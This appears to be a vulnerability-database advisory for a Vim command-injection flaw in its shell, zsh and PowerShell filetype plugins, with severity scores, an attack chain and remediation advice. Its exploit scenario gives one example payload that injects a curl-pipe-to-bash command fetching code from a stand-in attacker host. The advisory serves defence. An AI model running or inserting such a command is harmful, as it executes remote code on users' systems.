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Vim EUVDEUVD-2026-56233

| CVE-2026-73077 HIGH
OS Command Injection (CWE-78)
2026-08-11 GitHub_M
Command Injection Vim Red Hat Suse
8.4
CVSS 4.0 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.8 HIGH

Local vector because delivery requires a file the user opens; PR:N since the attacker needs no system account; UI:R because the victim must manually trigger K; no scope change as impact is confined to the user's process.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat
7.3 HIGH
qualitative

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
A
Scope
X

Lifecycle Timeline

4
Patch available
Aug 11, 2026 - 17:02 EUVD
Source Code Evidence Fetched
Aug 11, 2026 - 16:31 vuln.today
Analysis Generated
Aug 11, 2026 - 16:31 vuln.today
CVE Published
Aug 11, 2026 - 15:39 cve.org
HIGH 8.4

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to 9.2.0839, the runtime/ftplugin/sh.vim, runtime/ftplugin/zsh.vim, and runtime/ftplugin/ps1.vim filetype plugins pass attacker-controlled Visual-mode selections from K through keywordprg commands without safely separating shell arguments. fnameescape() and PATH_ESC_CHARS do not neutralize shell metacharacters before ShKeywordPrg, ZshKeywordPrg, or GetHelp invokes bash, zsh, or PowerShell, allowing arbitrary operating-system commands to execute with the privileges of the user running Vim. This issue is fixed in version 9.2.0839.

AnalysisAI

Command injection in Vim's shell-related filetype plugins (sh.vim, zsh.vim, ps1.vim) allows arbitrary OS command execution when a user editing a shell or PowerShell file invokes the K keywordprg help lookup on a Visual-mode selection containing shell metacharacters. Affected versions are all Vim releases prior to 9.2.0839; no public exploit or CISA KEV listing has been identified at time of analysis. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Deliver crafted .sh/.zsh/.ps1 file to target
Delivery
Victim opens file in Vim (filetype plugin loads)
Exploit
Victim visually selects metacharacter-embedded token
Execution
Victim presses K to invoke keywordprg
Persist
Unsanitized selection interpolated into bash/zsh/PowerShell string
Impact
Arbitrary OS commands execute as victim user
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Vulnerability AssessmentAI

Exploitation Three specific conditions must all be met: (1) the victim must be running Vim prior to 9.2.0839, (2) the victim must have opened a file whose filetype Vim resolves to 'sh', 'zsh', or 'ps1' - activating the corresponding filetype plugin - meaning the file must carry a recognized extension (.sh, .bash, .zsh, .ps1) or have modeline/shebang detection enabled, and (3) the victim must perform a Visual-mode selection that includes shell metacharacters and then press K (or invoke :ShKeywordPrg/:ZshKeywordPrg/:GetHelp directly). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N scores 8.4 and is internally consistent: local attack vector (attacker delivers a malicious file rather than connecting over a network), no special attack conditions, no privileges required on the attacker's side, but user interaction is mandatory - the victim must open the file and manually invoke K on a crafted selection. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a .sh or .zsh file containing a function or variable name embedding shell metacharacters - for example, a string like 'foo; curl http://attacker.example/payload | bash; echo bar'. The attacker delivers this file to a developer (via email attachment, repository clone, or shared script), who opens it in an unpatched Vim. …
Remediation Upgrade Vim to version 9.2.0839 or later; this is the vendor-released patch confirmed by commit c5a82fe013e73c98004ad7cd4f906b1ad1ed610e (https://github.com/vim/vim/commit/c5a82fe013e73c98004ad7cd4f906b1ad1ed610e) and the GitHub Security Advisory GHSA-r5v6-q6j8-8qw2. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: audit your organization's Vim usage and identify systems where Vim users regularly edit shell scripts. …

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Threat intelligence, references, and detailed analysis are available after sign-in.

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Same weakness CWE-78 – OS Command Injection

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SUSE

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EUVD-2026-56233 vulnerability details – vuln.today
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